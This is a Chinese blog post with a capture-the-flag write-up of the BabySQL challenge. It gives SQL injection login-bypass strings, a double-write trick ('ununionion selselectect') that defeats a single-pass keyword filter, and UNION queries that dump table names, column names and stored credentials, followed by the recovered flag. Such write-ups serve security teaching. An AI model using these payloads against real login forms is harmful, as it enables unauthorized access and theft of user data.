[极客大挑战 2019]BabySQL
[极客大挑战 2019]BabySQL#
尝试了单引号,出现报错,说明这里还是可能存在字符型注入。
直接使用万能钥匙注入,回显用户密码错误,说明被拦截了。
尝试输入了几次发现都是这种情况,后来发现在万能钥匙中使用其他字符就可以成功登录,但是不能使用常用的数字来判断,说明服务端对输入的账号密码进行了校验,所以测试 SQL 注入的时候,尽量使用 无规则字符串(数字 + 字母),常用的语句可能已经被记录了,所以不能使用。
# 原 万能钥匙
# payload1
# 用户名:1' and '1'='1
# 密码:1' or '1'='1
# payload2
# 用户名:1' and '1'='2
# 密码:1' or '1'='1
# 使用随机字符串的万能钥匙
# payload1
# 用户名:mmmm' and 'skkk'='skkk
# 密码:kkkk' or 'akkk'='akkk
# payload2
# 用户名:qweasd' and 'qweasdz'='qweasdz
# 密码:qweasdz' or 'mmmm'='mmmm
这里就获得了用户名是 admin , 下面进行尝试的时候就可以只在 密码框 进行注入(本身的注入点就在 密码框 )就行。
发现 or、union 、select、where、from 被过滤了,但是这些关键字只过滤了一次,可以用 双写绕过。
成功回显了数据位置
# payload
?username=admin&password=m' ununionion selselectect 1,2,3 %23
继续注入带出想要的信息
# 获取数据表名
?username=admin&password=m' ununionion selselectect 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database()),3 %23
## b4bsql,geekuser!
# 获取字段名
?username=admin&password=m' ununionion selselectect 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'b4bsql'),3 %23
## id,username,password!
# 获取字段值
?username=admin&password=m' ununionion selselectect 1,(selselectect group_concat(id,username,passwoorrd) frfromom b4bsql),3 %23
## .....,8flagflag{bf784c2e-840a-430d-bbaf-db7d2bb03158}!
成功获得flag
作者:knsec
出处:https://www.cnblogs.com/knsec-cnblogs/p/16582249.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
备注:你可以在这里自定义其他内容,支持 HTML
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582249.html
【推荐】博客园的心动:当一群程序员决定开源共建一个真诚相亲平台
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】Flutter适配HarmonyOS 5知识地图,实战解析+高频避坑指南
【推荐】开源 Linux 服务器运维管理面板 1Panel V2 版本正式发布
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· dotnetty 新的篇章- 开源
· 这5种规则引擎,真香!
· DotTrace系列:1. 理解四大经典的诊断类型(上)
· 【大数据高并发核心场景实战】 - 数据持久化之冷热分离
· 如何用大语言模型提取任意文档中的知识点